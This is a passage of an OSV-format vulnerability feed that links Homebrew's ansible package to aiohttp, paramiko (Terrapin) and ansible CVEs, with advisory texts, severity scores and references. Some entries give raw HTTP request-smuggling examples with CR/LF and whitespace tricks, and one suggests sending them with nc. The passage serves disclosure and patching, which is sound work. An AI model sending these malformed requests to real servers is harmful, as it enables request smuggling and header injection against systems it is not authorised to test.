/ HTTP/1.1\\r\\n\nHeader: v\\ralue\\r\\n\n\\r\\n\n```\n```\nGET / HTTP/1.1\\r\\n\nHeader: v\\nalue\\r\\n\n\\r\\n\n```\n### Suggested action\nReject all messages with NUL, CR, or LF in a header value. The translation to space thing, while technically allowed, does not seem like a good idea to me.\n\n## Bug 3: Improper stripping of whitespace before colon in HTTP headers\n\n### Description\nRFC 9112 says this:\n> No whitespace is allowed between the field name and colon. In the past, differences in the handling of such whitespace have led to security vulnerabilities in request routing and response handling. A server MUST reject, with a response status code of 400 (Bad Request), any received request message that contains whitespace between a header field name and colon.\n\nAIOHTTP does not enforce this rule, and will simply strip any whitespace before the colon in an HTTP header.\n\n### Example\n```\nGET / HTTP/1.1\\r\\n\nContent-Length : 1\\r\\n\n\\r\\n\nX\n```\n\n### Suggested action\nReject all messages with whitespace before a colon in a header field, as the standard requires.\n\n# PoC\nExample requests are embedded in the previous section. To reproduce these bugs, start an AIOHTTP server without llhttp (i.e. `AIOHTTP_NO_EXTENSIONS=1`) and send the requests given in the previous section. (e.g. by `printf`ing into `nc`)\n\n# Impact\nEach of these bugs can be used for request smuggling.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-gfw2-4jvh-wgfg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-47627"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/d5c12ba890557a575c313bb3017910d7616fce3d"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.8.6"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2023-246.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FUSJVQ7OQ55RWL4XAX2F5EZ73N4ZSH6U"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VDKQ6HM3KNDU4OQI476ZWT4O7DMSIT35"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WQYQL6WV535EEKSNH7KRARLLMOW5WXDM"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-47641","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-xx9p-xxvh-7g8j","CVE-2023-47641","PYSEC-2023-247"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.8.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"Aiohttp has inconsistent interpretation of `Content-Length` vs. `Transfer-Encoding` differing in C and Python fallbacks","details":"### Impact\n\nAiohttp has a security vulnerability regarding the inconsistent interpretation of the http protocol. As we know that HTTP/1.1 is persistent, if we have both Content-Length(CL) and Transfer-Encoding(TE) it can lead to incorrect interpretation of two entities that parse the HTTP and we can poison other sockets with this incorrect interpretation.\n\nA possible Proof-of-Concept (POC) would be a configuration with a reverse proxy(frontend) that accepts both CL and TE headers and aiohttp as backend. As aiohttp parses anything with chunked, we can pass a chunked123 as TE, the frontend entity will ignore this header and will parse Content-Length. I can give a Dockerfile with the configuration if you want.\n\nThe impact of this vulnerability is that it is possible to bypass any proxy rule, poisoning sockets to other users like passing Authentication Headers, also if it is present an Open Redirect (just like CVE-2021-21330) we can combine it to redirect random users to our website and log the request.\n\n\n### References\n\n- https://github.com/aio-libs/aiohttp/commit/f016f0680e4ace6742b03a70cb0382ce86abe371","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-xx9p-xxvh-7g8j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-47641"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/f016f0680e4ace6742b03a70cb0382ce86abe371"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.8.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2023-247.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-48795","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:32:40Z","upstream":["GHSA-45x7-px36-x8w8","CVE-2023-48795","GO-2023-2402","PYSEC-2026-1758"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.8.2"},{"fixed":"9.2.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.4.0","resource":"paramiko","resource_purl":"pkg:pypi/paramiko@5.1.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"paramiko","subject_version":"5.1.0","key":"pkg:pypi/paramiko@5.1.0","resource":"paramiko"}]},"summary":"Prefix Truncation Attack against ChaCha20-Poly1305 and Encrypt-then-MAC aka Terrapin","details":"### Summary\n\nTerrapin is a prefix truncation attack targeting the SSH protocol. More precisely, Terrapin breaks the integrity of SSH's secure channel. By carefully adjusting the sequence numbers during the handshake, an attacker can remove an arbitrary amount of messages sent by the client or server at the beginning of the secure channel without the client or server noticing it.\n\n### Mitigations\n\nTo mitigate this protocol vulnerability, OpenSSH suggested a so-called \"strict kex\" which alters the SSH handshake to ensure a Man-in-the-Middle attacker cannot introduce unauthenticated messages as well as convey sequence number manipulation across handshakes.\n\n**Warning: To take effect, both the client and server must support this countermeasure.** \n\nAs a stop-gap measure, peers may also (temporarily) disable the affected algorithms and use unaffected alternatives like AES-GCM instead until patches are available.\n\n### Details\n\nThe SSH specifications of ChaCha20-Poly1305 (chacha20-poly1305@openssh.com) and Encrypt-then-MAC (*-etm@openssh.com MACs) are vulnerable against an arbitrary prefix truncation attack (a.k.a. Terrapin attack). This allows for an extension negotiation downgrade by stripping the SSH_MSG_EXT_INFO sent after the first message after SSH_MSG_NEWKEYS, downgrading security, and disabling attack countermeasures in some versions of OpenSSH. When targeting Encrypt-then-MAC, this attack requires the use of a CBC cipher to be practically exploitable due to the internal workings of the cipher mode. Additionally, this novel attack technique can be used to exploit previously unexploitable implementation flaws in a Man-in-the-Middle scenario.\n\nThe attack works by an attacker injecting an arbitrary number of SSH_MSG_IGNORE messages during the initial key exchange and consequently removing the same number of messages just after the initial key exchange has concluded. This is possible due to missing authentication of the excess SSH_MSG_IGNORE messages and the fact that the implicit sequence numbers used within the SSH protocol are only checked after the initial key exchange.\n\nIn the case of ChaCha20-Poly1305, the attack is guaranteed to work on every connection as this cipher does not maintain an internal state other than the message's sequence number. In the case of Encrypt-Then-MAC, practical exploitation requires the use of a CBC cipher; while theoretical integrity is broken for all ciphers when using this mode, message processing will fail at the application layer for CTR and stream ciphers.\n\nFor more details see [https://terrapin-attack.com](https://terrapin-attack.com). \n\n### Impact\n\nThis attack targets the specification of ChaCha20-Poly1305 (chacha20-poly1305@openssh.com) and Encrypt-then-MAC (*-etm@openssh.com), which are widely adopted by well-known SSH implementations and can be considered de-facto standard. These algorithms can be practically exploited; however, in the case of Encrypt-Then-MAC, we additionally require the use of a CBC cipher. As a consequence, this attack works against all well-behaving SSH implementations supporting either of those algorithms and can be used to downgrade (but not fully strip) connection security in case SSH extension negotiation (RFC8308) is supported. The attack may also enable attackers to exploit certain implementation flaws in a man-in-the-middle (MitM) scenario.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/warp-tech/russh/security/advisories/GHSA-45x7-px36-x8w8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-48795"},{"type":"WEB","url":"https://github.com/ssh-mitm/ssh-mitm/issues/165"},{"type":"WEB","url":"https://github.com/hierynomus/sshj/issues/916"},{"type":"WEB","url":"https://github.com/janmojzis/tinyssh/issues/81"},{"type":"WEB","url":"https://github.com/cyd01/KiTTY/issues/520"},{"type":"WEB","url":"https://github.com/proftpd/proftpd/issues/456"},{"type":"WEB","url":"https://github.com/apache/mina-sshd/issues/445"},{"type":"WEB","url":"https://github.com/paramiko/paramiko/issues/2337#issuecomment-1887642773"},{"type":"WEB","url":"https://github.com/paramiko/paramiko/issues/2337"},{"type":"WEB","url":"https://github.com/PowerShell/Win32-OpenSSH/issues/2189"},{"type":"WEB","url":"https://github.com/mwiede/jsch/issues/457"},{"type":"WEB","url":"https://github.com/libssh2/libssh2/pull/1291"},{"type":"WEB","url":"https://github.com/NixOS/nixpkgs/pull/275249"},{"type":"WEB","url":"https://github.com/mwiede/jsch/pull/461"},{"type":"WEB","url":"https://github.com/TeraTermProject/teraterm/commit/7279fbd6ef4d0c8bdd6a90af4ada2899d786eec0"},{"type":"WEB","url":"https://github.com/mscdex/ssh2/commit/97b223f8891b96d6fc054df5ab1d5a1a545da2a3"},{"type":"WEB","url":"https://github.com/connectbot/sshlib/commit/5c8b534f6e97db7ac0e0e579331213aa25c173ab"},{"type":"WEB","url":"https://github.com/jtesta/ssh-audit/commit/8e972c5e94b460379fe0c7d20209c16df81538a5"},{"type":"WEB","url":"https://github.com/warp-tech/russh/commit/1aa340a7df1d5be1c0f4a9e247aade76dfdd2951"},{"type":"WEB","url":"https://github.com/golang/crypto/commit/9d2ee975ef9fe627bf0a6f01c1f69e8ef1d4f05d"},{"type":"WEB","url":"https://oryx-embedded.com/download/#changelog"},{"type":"WEB","url":"https://nova.app/releases/#v11.8"},{"type":"WEB","url":"https://news.ycombinator.com/item?id=38732005"},{"type":"WEB","url":"https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0002"},{"type":"WEB","url":"https://roumenpetrov.info/secsh/#news20231220"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/CVE-2023-48795"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/source-package/libssh2"},{"type":"WEB","url":"https://github.com/ronf/asyncssh/blob/develop/docs/changes.rst"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/KMZCVGUGJZZVDPCVDA7TEB22VUCNEXDD"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/L5Y6MNNVAPIJSXJERQ6PKZVCIUXSNJK7"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/LZQVUHWVWRH73YBXUQJOD6CKHDQBU3DM"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MKQRBF3DWMWPH36LBCOBUTSIZRTPEZXB"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/QI3EHAHABFQK7OABNCSF5GMYP6TONTI7"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/33XHJUB6ROFUOH2OQNENFROTVH6MHSHA"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3JIMLVBDWOP4FUPXPTB4PGHHIOMGFLQE"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3YQLUQWLIHDB5QCXQEX7HXHAWMOKPP5O"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6Y74KVCPEPT4MVU3LHDWCNNOXOE5ZLUR"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/APYIXIQOVDCRWLHTGB4VYMAUIAQLKYJ3"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/C3AFMZ6MH2UHHOPIWT5YLSFV3D2VB3AC"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HYEDEXIKFKTUJIN43RG4B7T5ZS6MHUSP"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/I724O3LSRCPO4WNVIXTZCT4VVRMXMMSG"},{"type":"WEB","url":"https://matt.ucc.asn.au/dropbear/CHANGES"},{"type":"WEB","url":"https://nest.pijul.com/pijul/thrussh/changes/D6H7OWTTMHHX6BTB3B6MNBOBX2L66CBL4LGSEUSAI2MCRCJDQFRQC"},{"type":"WEB","url":"https://news.ycombinator.com/item?id=38684904"},{"type":"WEB","url":"https://news.ycombinator.com/item?id=38685286"},{"type":"WEB","url":"https://www.vicarius.io/vsociety/posts/cve-2023-48795-mitigate-openssh-vulnerability"},{"type":"WEB","url":"https://www.vicarius.io/vsociety/posts/cve-2023-48795-detect-openssh-vulnerabilit"},{"type":"WEB","url":"https://www.vandyke.com/products/securecrt/history.txt"},{"type":"WEB","url":"https://www.theregister.com/2023/12/20/terrapin_attack_ssh"},{"type":"WEB","url":"https://www.terrapin-attack.com"},{"type":"WEB","url":"https://www.suse.com/c/suse-addresses-the-ssh-v2-protocol-terrapin-attack-aka-cve-2023-48795"},{"type":"WEB","url":"https://www.reddit.com/r/sysadmin/comments/18idv52/cve202348795_why_is_this_cve_still_undisclosed"},{"type":"WEB","url":"https://www.paramiko.org/changelog.html"},{"type":"WEB","url":"https://www.openwall.com/lists/oss-security/2023/12/20/3"},{"type":"WEB","url":"https://www.openwall.com/lists/oss-security/2023/12/18/2"},{"type":"WEB","url":"https://www.openssh.com/txt/release-9.6"},{"type":"WEB","url":"https://www.openssh.com/openbsd.html"},{"type":"WEB","url":"https://www.netsarang.com/en/xshell-update-history"},{"type":"WEB","url":"https://www.lancom-systems.de/service-support/allgemeine-sicherheitshinweise#c243508"},{"type":"WEB","url":"https://www.freebsd.org/security/advisories/FreeBSD-SA-23:19.openssh.asc"},{"type":"WEB","url":"https://www.debian.org/security/2023/dsa-5588"},{"type":"WEB","url":"https://www.debian.org/security/2023/dsa-5586"},{"type":"WEB","url":"https://www.crushftp.com/crush10wiki/Wiki.jsp?page=Update"},{"type":"WEB","url":"https://www.chiark.greenend.org.uk/~sgtatham/putty/changes.html"},{"type":"WEB","url":"https://www.bitvise.com/ssh-server-version-history"},{"type":"WEB","url":"https://www.bitvise.com/ssh-client-version-history#933"},{"type":"WEB","url":"https://winscp.net/eng/docs/history#6.2.2"},{"type":"WEB","url":"https://ubuntu.com/security/CVE-2023-48795"},{"type":"WEB","url":"https://twitter.com/TrueSkrillor/status/1736774389725565005"},{"type":"WEB","url":"https://thorntech.com/cve-2023-48795-and-sftp-gateway"},{"type":"WEB","url":"https://support.apple.com/kb/HT214084"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20240105-0004"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202312-17"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202312-16"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/source-package/trilead-ssh2"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/source-package/proftpd-dfsg"},{"type":"WEB","url":"https://github.com/rapier1/hpn-ssh/releases"},{"type":"WEB","url":"https://github.com/proftpd/proftpd/blob/master/RELEASE_NOTES"},{"type":"WEB","url":"https://github.com/proftpd/proftpd/blob/d21e7a2e47e9b38f709bec58e3fa711f759ad0e1/RELEASE_NOTES"},{"type":"WEB","url":"https://github.com/proftpd/proftpd/blob/0a7ea9b0ba9fcdf368374a226370d08f10397d99/RELEASE_NOTES"},{"type":"WEB","url":"https://github.com/openssh/openssh-portable/commits/master"},{"type":"WEB","url":"https://github.com/net-ssh/net-ssh/blob/2e65064a52d73396bfc3806c9196fc8108f33cd8/CHANGES.txt#L14-L16"},{"type":"WEB","url":"https://github.com/mwiede/jsch/compare/jsch-0.2.14...jsch-0.2.15"},{"type":"WEB","url":"https://github.com/mkj/dropbear/blob/17657c36cce6df7716d5ff151ec09a665382d5dd/CHANGES#L25"},{"type":"WEB","url":"https://github.com/erlang/otp/releases/tag/OTP-26.2.1"},{"type":"WEB","url":"https://github.com/erlang/otp/blob/d1b43dc0f1361d2ad67601169e90a7fc50bb0369/lib/ssh/doc/src/notes.xml#L39-L42"},{"type":"WEB","url":"https://github.com/drakkan/sftpgo/releases/tag/v2.5.6"},{"type":"WEB","url":"https://github.com/connectbot/sshlib/compare/2.2.21...2.2.22"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-45x7-px36-x8w8"},{"type":"WEB","url":"https://github.com/TeraTermProject/teraterm/releases/tag/v5.1"},{"type":"WEB","url":"https://github.com/PowerShell/Win32-OpenSSH/releases/tag/v9.5.0.0p1-Beta"},{"type":"WEB","url":"https://git.libssh.org/projects/libssh.git/commit/?h=stable-0.10&id=10e09e273f69e149389b3e0e5d44b8c221c2e7f6"},{"type":"WEB","url":"https://forum.netgate.com/topic/184941/terrapin-ssh-attack"},{"type":"WEB","url":"https://filezilla-project.org/versions.php"},{"type":"WEB","url":"https://crates.io/crates/thrussh/versions"},{"type":"WEB","url":"https://cert-portal.siemens.com/productcert/html/ssa-915275.html"},{"type":"WEB","url":"https://cert-portal.siemens.com/productcert/html/ssa-794697.html"},{"type":"WEB","url":"https://cert-portal.siemens.com/productcert/html/ssa-769027.html"},{"type":"WEB","url":"https://cert-portal.siemens.com/productcert/html/ssa-364175.html"},{"type":"WEB","url":"https://cert-portal.siemens.com/productcert/html/ssa-082556.html"},{"type":"WEB","url":"https://bugzilla.suse.com/show_bug.cgi?id=1217950"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2254210"},{"type":"WEB","url":"https://bugs.gentoo.org/920280"},{"type":"WEB","url":"https://arstechnica.com/security/2023/12/hackers-can-break-ssh-channel-integrity-using-novel-data-corruption-attack"},{"type":"WEB","url":"https://access.redhat.com/security/cve/cve-2023-48795"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/KEOTKBUPZXHE3F352JBYNTSNRXYLWD6P"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/F7EYCFQCTSGJXWO3ZZ44MGKFC5HA7G3Y"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/CHHITS4PUOZAKFIUBQAQZC7JWXMOYE4B"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/BL5KTLOSLH2KHRN4HCXJPK3JUVLDGEL6"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/3CAYYW35MUTNO65RVAELICTNZZFMT2XS"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00028.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00032.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/09/msg00042.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/04/msg00016.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/01/msg00014.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/01/msg00013.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00017.html"},{"type":"WEB","url":"https://jadaptive.com/important-java-ssh-security-update-new-ssh-vulnerability-discovered-cve-2023-48795"},{"type":"WEB","url":"https://help.panic.com/releasenotes/transmit5"},{"type":"WEB","url":"https://groups.google.com/g/golang-announce/c/qA3XtxvMUyg"},{"type":"WEB","url":"https://groups.google.com/g/golang-announce/c/-n5WqVC18LQ"},{"type":"WEB","url":"https://go.dev/issue/64784"},{"type":"WEB","url":"https://go.dev/cl/550715"},{"type":"WEB","url":"https://gitlab.com/libssh/libssh-mirror/-/tags"},{"type":"WEB","url":"https://github.com/warp-tech/russh/releases/tag/v0.40.2"},{"type":"PACKAGE","url":"https://github.com/warp-tech/russh"},{"type":"WEB","url":"https://github.com/ronf/asyncssh/tags"},{"type":"WEB","url":"http://packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.html"},{"type":"WEB","url":"http://seclists.org/fulldisclosure/2024/Mar/21"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2023/12/18/3"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2023/12/19/5"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2023/12/20/3"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2024/03/06/3"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2024/04/17/8"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-49081","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-q3qx-c6g2-7pw2","CVE-2023-49081","PYSEC-2023-250"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"aiohttp's ClientSession is vulnerable to CRLF injection via version","details":"### Summary\nImproper validation make it possible for an attacker to modify the HTTP request (e.g. to insert a new header) or even create a new HTTP request if the attacker controls the HTTP version.\n\n### Details\nThe vulnerability only occurs if the attacker can control the HTTP version of the request (including its type).\nFor example if an unvalidated JSON value is used as a version and the attacker is then able to pass an array as the `version` parameter.\nFurthermore, the vulnerability only occurs when the `Connection` header is passed to the `headers` parameter.\n\nAt this point, the library will use the parsed value to create the request. If a list is passed, then it bypasses validation and it is possible to perform CRLF injection.\n\n### PoC\nThe POC below shows an example of providing an unvalidated array as a version:\nhttps://gist.github.com/jnovikov/184afb593d9c2114d77f508e0ccd508e\n\n### Impact\nCRLF injection leading to Request Smuggling.\n\n### Workaround\nIf these specific conditions are met and you are unable to upgrade, then validate the user input to the `version` parameter to ensure it is a `str`.\n\nPatch: https://github.com/aio-libs/aiohttp/pull/7835/files","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-q3qx-c6g2-7pw2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49081"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/7835/files"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/1e86b777e61cf4eefc7d92fa57fa19dcc676013b"},{"type":"WEB","url":"https://gist.github.com/jnovikov/184afb593d9c2114d77f508e0ccd508e"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2023-250.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TY5SI6NK5243DEEDQUFKQKW5GQNKQUMA"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WSYWMP64ZFCTC3VO6RY6EC6VSSMV6I3A"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-49082","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-qvrw-v9rv-5rjx","CVE-2023-49082","PYSEC-2023-251"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"aiohttp's ClientSession is vulnerable to CRLF injection via method","details":"### Summary\nImproper validation makes it possible for an attacker to modify the HTTP request (e.g. insert a new header) or even create a new HTTP request if the attacker controls the HTTP method.\n\n### Details\nThe vulnerability occurs only if the attacker can control the HTTP method (GET, POST etc.) of the request.\n\nPrevious releases performed no validation on the provided value. If an attacker controls the HTTP method it will be used as is and can lead to HTTP request smuggling.\n\n### PoC\nA minimal example can be found here:\nhttps://gist.github.com/jnovikov/7f411ae9fe6a9a7804cf162a3bdbb44b\n\n### Impact\nIf the attacker can control the HTTP version of the request it will be able to modify the request (request smuggling).\n\n### Workaround\nIf unable to upgrade and using user-provided values for the request method, perform manual validation of the user value (e.g. by restricting it to a few known values like GET, POST etc.).\n\nPatch: https://github.com/aio-libs/aiohttp/pull/7806/files","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-qvrw-v9rv-5rjx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49082"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/7806/files"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/e4ae01c2077d2cfa116aa82e4ff6866857f7c466"},{"type":"WEB","url":"https://gist.github.com/jnovikov/7f411ae9fe6a9a7804cf162a3bdbb44b"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2023-251.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TY5SI6NK5243DEEDQUFKQKW5GQNKQUMA"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WSYWMP64ZFCTC3VO6RY6EC6VSSMV6I3A"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-5115","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["GHSA-jpvw-p8pr-9g2x","CVE-2023-5115","PYSEC-2026-1120"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"8.5.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible symlink attack vulnerability","details":"An absolute path traversal attack exists in the Ansible automation platform. This flaw allows an attacker to craft a malicious Ansible role and make the victim execute the role. A symlink can be used to overwrite a file outside of the extraction 